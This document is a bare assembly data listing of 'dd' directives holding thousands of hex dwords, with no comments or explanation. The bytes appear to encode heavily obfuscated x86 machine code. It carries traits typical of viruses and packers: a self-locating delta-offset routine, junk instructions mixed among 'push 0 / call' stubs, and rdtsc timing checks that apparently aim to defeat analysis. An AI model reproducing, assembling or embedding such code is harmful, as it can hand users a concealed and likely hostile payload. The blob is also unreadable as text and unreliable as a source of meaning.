dd 51410000h, 283422C3h, 60EF0C77h, 2C15BD01h, 0B5290603h
dd 6030409h, 7DBD8B61h, 0FF060317h, 3140595h, 0E1BD8B06h
dd 6106032Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 20C35545h, 0B75AD88Dh, 15BD23B6h, 0C7060301h, 321BD85h
dd 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 17A48C34h, 0CCEB5D0Fh, 0A19D8B74h
dd 83060324h, 6A734BDh, 840F0006h, 21h, 37E9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 0C30509Dh, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0C3C35141h, 8A5BBB87h, 6AC086h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0B38893C3h
dd 83666597h, 321BDBDh, 850F0306h, 430h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 44C35747h, 0E4BA12D9h
dd 1AB5AA0Ch, 8870F0Bh, 50000000h, 11419D8Bh, 835F0603h
dd 6A734BDh, 840F0006h, 3F0h, 14D9D8Bh, 0B5FF0603h, 606A734h
dd 2B15BD8Bh, 95FF0603h, 6032E05h, 0E226BF66h, 0DE9h, 58EE4A00h
dd 63A239D2h, 0EF649DB6h, 0B58B4C9Ah, 606A728h, 0F318D89h
dd 6C70603h, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 5BC35747h, 4C7B721h, 0F52D862h, 965BDEBFh
dd 52505250h, 310F6160h, 8C8ABB66h, 310F585Ah, 5AD98B66h
dd 8B665058h, 6A96FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 762E26C3h, 0FFFFBF0Fh, 6A734B5h
dd 3767BB06h, 95FF04AFh, 6032F19h, 8BDBBF0Fh, 6A728B5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 44A7F2FAh, 0E78050E5h, 858B5FA6h, 603311Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 82C35141h
dd 86895072h, 0C4h, 9B5BD89h, 958B0603h, 60331D1h, 4A8E6BBh
dd 4C2834Dh, 0CED9D8Bh, 50890603h, 0EE96020h, 7C000000h
dd 20EFCA5Dh, 4032A357h, 9F3A352Ch, 85BE6631h, 858D6122h
dd 606BBF3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 94C35343h, 39852924h, 0F8060300h, 0B88689h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 60D8E3C3h, 0AFFB2481h, 26119D8Bh, 6AF80603h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 56C488AEh, 5858953h, 5B060302h, 319D8960h, 0E9060323h
dd 7, 5F7AB4E3h, 61A31218h, 0A734B5FFh, 6A0606h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0E2C54CC3h, 0D6C5085Eh, 95FF52CBh, 6031CB1h, 21E99D8Bh
dd 89500603h, 9E92434h, 0FC000000h, 0C33A4199h, 6C7C1233h
dd 0A734B5FFh, 85290606h, 6031C51h, 966115BFh, 6595FF07h
dd 0E9060311h, 12h, 2C2E3CCDh, 78EDFDEBh, 2E18317h, 72B57239h
dd 0BD8354F9h
dd 6031795h, 0AA840F00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 55BDC352h
dd 0F7BED3Eh, 681h, 499D8900h, 0F06032Dh, 0E896F8B7h, 13h
dd 0CF9A58A6h, 94F54CECh, 21745830h, 16970E9Ah, 5081103Fh
dd 0EE952h, 7B8C0000h, 5F668441h, 17213B54h, 3BD05F02h
dd 13E9310Fh, 28000000h, 4961BA91h, 1024C83Dh, 0BF0755FCh
dd 0BBF471E9h, 585A85B6h, 850F505Bh, 5, 7525D1BFh, 6A9679h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 2C8927C3h, 0E380C7CCh, 34B5FF45h, 8B0606A7h, 6195FFF9h
dd 0BB060306h, 3DE15B2Bh, 0A734B5FFh, 6A0606h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0E7AA56C3h, 7B7A9895h, 66FE8A67h, 0FF8B87BBh, 30AE195h
dd 0BD096006h, 6030AE9h, 8A0Fh, 83610000h, 3218DBDh, 840F0206h
dd 78h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h
dd 76C35242h, 9D8BF869h, 60329A5h, 1FD858Bh, 6A0603h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0E0D1E7C3h, 21D1BD8Bh, 0C60603h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A9E0C763h
dd 9D8BB3ABh, 60324ADh, 30B985C7h, 603h, 0F3810000h, 39254871h
dd 0FFF2ECE9h, 59BD8BFFh, 8B060303h, 51006AC1h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 9D89C62Dh
dd 94D8276Dh, 8589E615h, 6030BF9h, 8DF0D780h, 3281185h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 246B9348h, 707F0795h, 870F6BA4h, 8, 2820Fh
dd 61600000h, 60525750h, 895F5B61h, 64BB2404h, 6A1A4AF6h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 66C287A4h, 6AFE8Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0D1C35747h, 0BEF46EECh, 6643FE4Dh
dd 52BF661Ch, 0A0858D22h, 8B0607F5h, 325019Dh, 5C08306h
dd 90DFBF0Fh, 13E86057h, 51000000h, 8ABD06Fh, 0E4465F08h
dd 6396C5C8h, 0A45CCF0Ah, 8B5ED6A7h, 505F61FBh, 0AE9h
dd 955BAC00h, 0B3C2C4B4h, 90050A51h, 3870Fh, 8B660000h
dd 6A006ADFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0F853C352h, 6A96C8FFh, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0FF085B61h, 30CC995h, 199D0B06h, 8D060309h, 697478Dh
dd 499D8B06h, 0FF060314h, 55006AD1h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0CCF0F590h
dd 3D9529CBh, 8306030Bh, 31E91BDh, 850F0106h, 6Ch, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D6C35646h, 25E19D89h
dd 26A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0E8C35545h, 0CDBD23F0h, 0F060301h, 682h, 0C19D8B00h
dd 5006032Bh, 48B0Fh, 0BB660000h, 4898088h, 0B195FF24h
dd 6606031Ch, 1D2CD381h, 0D3CE9h, 0E800h, 815D0000h, 7F5AAEDh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 2EA405A0h, 8832DB04h, 858D34B7h, 6068889h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B1C35343h
dd 9D8B650Ah, 603120Dh, 7DBB5090h, 9005286Dh, 17ADBD8Bh
dd 0FF640603h, 35h, 12E800h, 0DA1C0000h, 35BEAC92h, 16E98A84h
dd 6BDF25C9h, 26801BB0h, 248D9D8Bh, 645F0603h, 2589h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0A7B85CC3h, 0B8CE4F2Ah, 0F6DEED9h, 85FFDABFh, 6032A15h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FEC35141h
dd 0DE0CB82Bh, 0E90D1840h, 9, 9FBF4DB9h, 6C2A726Ch, 6AFF6A4Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 0B0CDC352h, 6CDCCDEDh, 0DA817EF9h, 1BA58589h
dd 0B5FF0603h, 60310CDh, 0FFFBBF0Fh, 3201595h, 15BE906h
dd 0CE80000h, 0F1000000h, 0A6531C94h, 2551D40Bh, 0F90CE57h
dd 687h, 800F00h, 5F000000h, 816600B0h, 0E665C3E3h, 0B58D8970h
dd 0E4060303h, 6860F71h, 31000000h, 324A99Dh, 0F613C06h
dd 11883h, 0E8F78000h, 0B3C8B60Fh, 6BAFFh, 9D0B0000h, 60312C1h
dd 0BD8BC18Bh, 6032339h, 0E804E8C1h, 12h, 5EB3012Bh, 0C3A7876Fh
dd 2614354Eh, 83157B80h, 810FB31Fh, 6, 2C51BD8Bh, 665F0603h
dd 8166E2F7h, 2BBCA0CFh, 39BD89C8h, 8B060317h, 99D89D1h
dd 0E9060321h, 0B9h, 63C8EF81h, 858B442Ah, 47554C50h, 6820Fh
dd 85890000h, 60320EDh, 0E907C083h, 0Dh, 0AED767B3h, 8288ACC4h
dd 66169C68h, 3DBD8B49h, 8306030Fh, 840F00C0h, 0Fh, 6E8h
dd 5927D400h, 66A3B6F1h, 3B5BD98Bh, 12830FD0h, 0F8000000h
dd 60E9h, 6890F00h, 89000000h, 311F1BDh, 0FF8D8B06h, 31FFFFFFh
dd 33121BDh, 0DABF6606h, 1E183B8h, 3B840Fh, 0BD890000h
dd 6032FE1h, 13E9h, 0C3820500h, 8D84663Bh, 16D04474h, 8E009C72h
dd 5864B853h, 0FFFFA583h, 1FEFFFFh, 33215B5h, 50958906h
dd 6647554Ch, 0BAEED381h, 0E9h, 8FB58D00h, 60060775h, 0BE8h
dd 5D2AC00h, 723EA09Eh, 34179374h, 11E9B529h, 0F590603h
dd 68Ah, 19D8B00h, 61060323h, 6A74DB80h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0FE540C1h, 680h, 95BD8B00h, 0FF060331h, 31FB995h, 0DEBF0F06h
dd 6880Fh, 0BD330000h, 6033111h, 10C6B9h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 60C6A985h, 0FA5BD89h, 83610603h, 6AFCE1h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A803CFC3h
dd 437EAB8Eh, 81BF42E6h, 81E0CFCFh, 0ED9D0352h, 0FC06031Ch
dd 145BD89h, 0B80603h, 8B000000h, 312119Dh, 11BD8B06h
dd 0BA06032Eh, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1BC35646h
dd 4FBEE627h, 5CB78012h, 0FA7BFCCh, 33AD6B1Bh, 3E8D1C2h
dd 4E983D0h, 800FF475h, 2, 6ADE8Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 22EF5CC3h
dd 0EE96CFAh, 0F7000000h, 0FDBC11F4h, 0FE6864C8h, 77B20230h
dd 0DD9D8B36h, 0D060305h, 88h, 1C058D89h, 958B0603h, 60331D1h
dd 0FE9h, 1EE1C700h, 78D38F56h, 4AADEF0Dh, 0CE00DC01h
dd 1E18D8Bh, 0B5310603h, 603109Dh, 12E956h, 1E3C0000h
dd 0A63E6C0Bh, 0C003E7C8h, 1421A6D9h, 0E04731F2h, 0C28B505Fh
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 30FCD9Dh
dd 2DB50906h, 83060328h, 31D65BDh, 840F0006h, 99h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1DC35141h, 63486B77h
dd 0B8A414h, 0E9000000h, 12h, 0C5F186BDh, 5B692BB5h, 25497930h
dd 0F1539D5Fh, 8D8DE568h, 6034D1Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 85C35646h, 97AFC66Bh, 9529B181h
dd 60321DDh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0E23D2BC3h, 0E97AB626h, 1B10326h
dd 30919BDh, 0BDBD8306h, 60321h, 35B840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0DD7B08C3h, 2664C781h, 0BD8321C9h, 60321BDh, 45840F01h
dd 9000003h, 31BD99Dh, 0BDBD8306h, 3060321h, 2FC860Fh
dd 0B5890000h, 6031A65h, 54E78160h, 667EE4A4h, 6AD98Ch
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 89006AC3h, 32C45B5h, 4E18006h, 546AD2BBh, 0FC90A5Fh
dd 0DB84h, 0C820F00h, 0F000000h, 680h, 9BD2900h, 8B060326h
dd 313C185h, 0EE906h, 4C7B0000h, 37EDE2DAh, 0C4A2A052h
dd 0D9B2E4A0h, 1C798533h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 50504AC3h, 0BB310F52h
dd 18D319BFh, 489585Ah, 419D8B24h, 6A060320h, 14E900h
dd 53DA0000h, 675D33C4h, 0B8BC3651h, 3EB02807h, 0E75C4002h
dd 6A68E3A7h, 50FC0EFFh, 0FEEB752h, 0D98B6631h, 481585Ah
dd 10049524h, 0B59D8904h, 0FF060321h, 3140595h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0BE2A9497h, 75848EABh, 0DE8B66EBh, 0A7348589h, 840F0606h
dd 3, 0E9FBBF0Fh, 15Bh, 0A72C858Bh, 0C70606h, 18h, 8E9h
dd 411F2100h, 13396540h, 30B58B34h, 6A0606A7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 26A3C356h, 8D895195h, 6031D19h, 41A5BF66h, 128D858Bh
dd 81660603h, 89A837E3h, 39858906h, 8B060317h, 313C185h
dd 0A0E38106h, 8B086022h, 311059Dh, 4468906h, 96FB8B66h
dd 50FB8B66h, 0FE857h, 0A5660000h, 33227E28h, 0FEF11163h
dd 7A9D441Fh, 5FF88B8Eh, 8E9965Bh, 8D000000h, 352E37E9h
dd 0FF60DFF4h, 6A72CB5h, 0BF665706h, 685B69F7h, 558EE673h
dd 81F98B66h, 0E58C2434h, 95895591h, 60330ADh, 0A734858Dh
dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 8A90C9C3h, 14E850FDh, 37000000h, 0DEF79354h
dd 6D50AA59h, 85E439BCh, 2D40B921h, 66FDC153h, 905BF98Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DC35343h
dd 2479F50Bh, 5E7B73B3h, 24D9D8Bh, 95FF0603h, 6031405h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4FC35545h
dd 0BD131041h, 2585016Ch, 61060317h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 5AC35747h, 0DA445605h, 85C7842Ah
dd 60321BDh, 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 71C35343h, 0D2EC7567h, 0A6FE6645h, 0AE8h, 32F19D00h
dd 0E4A40B56h, 667A6346h, 5B8F29BBh, 0A734BD83h, 0F000606h
dd 1184h, 0A59D8B00h, 0E9060305h, 21h, 9A9B509h, 30500603h
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h
dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 9BC9940Ch, 6AD86AB9h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CFE3C351h
dd 880F7C9Fh, 3, 66FEBF0Fh, 0BD83DA8Bh, 60321BDh, 0B850F03h
dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 89FDC356h, 308B985h, 34BD8306h
dd 606A7h, 3DC840Fh, 0BD8B0000h, 6031009h, 0A734B5FFh
dd 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 479472C3h, 45414AEDh, 23499589h, 95FF0603h
dd 6032E05h, 0B58B23B3h, 606A728h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 85C35747h, 0FC80D6B8h, 106C7h
dd 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 35780C3h, 9DE22AF0h, 0A673D781h, 0E9966EF7h
dd 0Dh, 9CEBCD22h, 3735834Bh, 430AFF2Ah, 8B665012h, 890F96F9h
dd 8, 0B1BD2B53h, 5B06032Dh, 0A734B5FFh, 6A0606h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 8A2DC1C3h, 14FCBB38h, 95FF66A3h, 6032F19h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DEC35747h, 6D9C3546h
dd 800F1650h, 6, 12BCCB81h, 0B58B56C4h, 606A728h, 1E8D9D89h
dd 9D890603h, 6030C31h, 311D858Bh, 95090603h, 60312F5h
dd 10E99D89h, 86890603h, 0C4h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0E1C35646h, 138A3637h, 0BE8509Fh
dd 22000000h, 0EB0BDBEBh, 0CF511E22h, 8D89BE3Dh, 603106Dh
dd 0D1958B5Fh, 6A060331h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 22E7C351h, 0BBF92342h
dd 8589B545h, 6031C7Dh, 8B04C283h, 317259Dh, 20508906h
dd 0CE9h, 485F2A00h, 24407AA7h, 0B6C16A88h, 68A0F73h, 81000000h
dd 0D0B18EDFh, 0F3858D3Fh, 0BB0606BBh, 738A8DBFh, 0B88689h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0F489DFC3h, 23FAC3B3h, 5DBD2371h, 6A060329h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0A7D144A3h, 0B5FFD8BDh, 606A734h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 78C35747h, 95FF5896h
dd 6031CB1h, 0E3816651h, 965BB5C6h, 0E5D9BF66h, 0F88B6650h
dd 0F6D78196h, 0FF1689A4h, 6A734B5h, 6595FF06h, 6A060311h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 4138C353h, 0F6804BABh, 95BD834Bh, 60317h
dd 84840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 96C5C8C3h, 5CCF0A63h, 8D01A7A4h
dd 6031211h, 759D2B60h, 89060319h, 3265D8Dh, 50966106h
dd 0F5F5152h, 5ADF8B31h, 0BF605058h, 6C5563C7h, 0CE8h
dd 87548B00h, 2A6ECAB2h, 776DED50h, 0A40EBBBBh, 6159792Bh
dd 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 432C4657h, 0B5FF624Ch, 606A734h, 6195FFFCh
dd 6A060306h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 5CF7C352h, 4B38A20Ch, 319271DFh
dd 12D59D8Bh, 0DABF0603h, 0FF0CBE10h, 6A734B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 5CB7A2ADh, 0AE195FFh, 0B3510603h, 0BD835FE1h, 603218Dh
dd 21840F02h, 56000000h, 2820Fh, 5F570000h, 0FD858B5Fh
dd 8B060301h, 303F9BDh, 3D9D8B06h, 0C6060331h, 0DE8B0000h
dd 30B985C7h, 603h, 830F0000h, 6, 2C498589h, 0EAE90603h
dd 8BFFFFF3h, 31FD5BDh, 6AC18B06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DEFEC353h
dd 0E5F2A002h, 2860F44h, 53000000h, 11858D5Bh, 0F060328h
dd 58Ah, 0BB67BF00h, 50903005h, 0FA8B6652h, 0BB66310Fh
dd 585A1A10h, 9078B750h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 8FC35242h, 0D1B7DBA7h, 0B420BB51h, 6A5F4D72h
dd 20DB8100h, 6A279827h, 0E7816600h, 858DD78Ch, 60804DAh
dd 28A4BB66h, 2019BD8Bh, 0C0830603h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 699D8BCFh
dd 0F060312h, 0F90FEB7h, 381h, 0FA8B6600h, 52506050h, 0FC78B66h
dd 0DE8B6631h, 5060585Ah, 5A310F52h, 0DA8B6658h, 0F9906161h
dd 8B66006Ah, 60006ADAh, 2E459501h, 11E90603h, 0FA000000h
dd 28C1A416h, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 0C995FF61h
dd 6A06030Ch, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 0D203C350h, 0D5F975E2h, 8B66FA23h
dd 55BD8BF9h, 8D060330h, 697478Dh, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E3300524h
dd 0BD8BD6F2h, 6032481h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 55822FC3h, 12E8AF6Dh
dd 0BA000000h, 8FD57D95h, 0A6D3BD58h, 987BA58Bh, 3ED2A770h
dd 0FB8B514Ch, 0BD835B5Fh, 6031E91h, 73850F01h, 0F000000h
dd 0C8Bh, 6870F00h, 9000000h, 30B5D95h, 0F026A06h, 684h
dd 45DF8100h, 506B4F19h, 50525057h, 50310F5Fh, 5A310F52h
dd 5F585A58h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 9F68C357h, 0DA71975Fh
dd 95297555h, 6030951h, 1CB195FFh, 81660603h, 0E9603FD3h
dd 6, 3D5A9E9Fh, 74E98D9Bh, 0E800000Dh, 0
dd 0E4ED815Dh, 6A060804h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0F01CC353h, 0D5E8A88Dh
dd 8889858Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0C428DBC3h, 17358D29h, 50500603h
dd 7E952h, 695C0000h, 0FD544916h, 5A310F90h, 24048958h
dd 13E8h, 0BA5CC500h, 6DF3F70Eh, 3C0A1E2Dh, 0DBB90A5Dh
dd 0E010CD1h, 35FF645Bh, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 73C35646h
dd 0A45A3F00h, 0ABBD20D5h, 258964h, 0FF000000h, 32A1585h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 4F2AA7B8h, 6AFF6ACEh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F50C353h
dd 17BFFFBFh, 0FF795465h, 31A31B5h, 8E906h, 69C00000h
dd 264FF252h, 95FF7B99h, 6032015h, 0E3E9h, 0B1958900h
dd 0B006030Ch, 0C1B58900h, 0E6060321h, 45858970h, 0E4060328h
dd 0A99D2371h, 3C06031Ah, 0BD830F61h, 8B000000h, 31319BDh
dd 0C8B60F06h, 2DD5BD89h, 6BA0603h, 2B000000h, 3002D9Dh
dd 0FC18B06h, 48Bh, 6FBF6600h, 4E8C131h, 66D8B70Fh, 1FB3E2F7h
dd 0BB66C82Bh, 0D18BE00Ah, 1E9BD89h, 79E90603h, 0E9000000h
dd 0Ch, 577E5715h, 0A54B4EE1h, 9352F03Bh, 4E49858Bh, 95014400h
dd 6032EF5h, 0F07C083h, 0C083D8BFh, 0D03BF900h, 11830Fh
dd 0BD8B0000h, 6032A61h, 3FE9h, 9DEF8100h, 8B3B9C54h, 0FFFFFF8Dh
dd 1E183FFh, 2A840Fh, 0C1B30000h, 0FFFFA583h, 0BFFEFFFFh
dd 40CE992Bh, 4E499589h, 9E94400h, 67000000h, 5D655C1Eh
dd 0E724ADF9h, 0E9DFB70Fh, 0
dd 8655B58Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 74549AC3h, 0E496CC4Dh, 6A7DB358h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 2238E396h, 1FB995FFh, 6A0603h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A2D3F9C3h
dd 0E8F1F8C5h, 13h, 9BDC4205h, 0BE0F2242h, 19B73336h, 0E0A0E0C8h
dd 60DA91C8h, 0BE66E58Ah, 5B6114F9h, 1B95F53h, 80000011h
dd 0E1830DDBh, 0E1BD8BFCh, 0FC060326h, 21718531h, 0C02B0603h
dd 0BE8h, 3B795200h, 7742EE94h, 143C73C6h, 800F57h, 5F000000h
dd 0E9D22B5Bh, 5, 0BD48D5FCh, 0C233ADC3h, 0D003E8D1h, 7504E983h
dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 6C9A0FDEh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 7DC35242h, 880DEAD8h, 8B000000h, 331D195h
dd 0B5958906h, 8B06031Bh, 301E18Dh, 0E7816606h, 8B504D64h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 4EF8166h
dd 51006A75h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 0E91260F3h, 8, 0FF90D43Ch, 399CC110h, 1D65BD83h
dd 0F000603h, 6484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0B8A58Ch, 0E8000000h
dd 9, 15A1A795h, 24BA5261h, 0DA8B667Ah, 1C8D8D5Bh, 6A06034Dh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0E73AC352h, 3ED9D8Bh, 0E1FF0603h, 572CFABFh
dd 0BDBD8336h, 60321h, 49C840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F23D0C3h
dd 0BD83FABFh, 60321BDh, 8A840F01h, 6A000004h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0CC0DC357h, 53F1CCD6h, 1CCD8589h, 0BD830603h, 60321BDh
dd 20860F03h, 0F000004h, 0B8Eh, 6E900h, 0AD5D0000h, 9A42E3C0h
dd 699D8B60h, 6606030Bh, 8B66D98Ch, 4E180D9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 36C35040h, 9AB237CDh
dd 0C90A7F31h, 16F840Fh, 9D8B0000h, 60303E9h, 13C1858Bh
dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 8533BCC3h, 6031C79h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0D4C35545h, 91E4D5F0h, 29999D8Bh
dd 0FE90603h, 27000000h, 190CC9BFh, 2C055847h, 633E7308h
dd 895056F2h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 133577C3h, 0E96673B0h, 0Dh, 0D0EB614Ch
dd 5F00D357h, 27A594Eh, 8D015624h, 60304E1h, 0FC006A5Fh
dd 68A0Fh, 95890000h, 60309E5h, 0E202E968h, 0D68B6077h
dd 14880Fh, 0EE80000h, 0A5000000h, 0AD206501h, 0A83A8465h
dd 0E1A9265Fh, 81615B68h, 1162434h, 6A77FDh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 52FAF0C3h
dd 0C1A5CA5h, 66759E00h, 0F9BD17BBh, 140595FFh, 6A0603h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0CB93A8C3h, 0C5A2D3F9h, 8589F1F8h, 606A734h, 8F0F88B3h
dd 6, 28618589h, 0CE90603h, 6A000002h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 2916C352h
dd 30409BDh, 2C858B06h, 6A0606A7h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 922EC350h
dd 0C919E658h, 0DE8B50D6h, 1800C75Bh, 6A000000h, 3E85000h
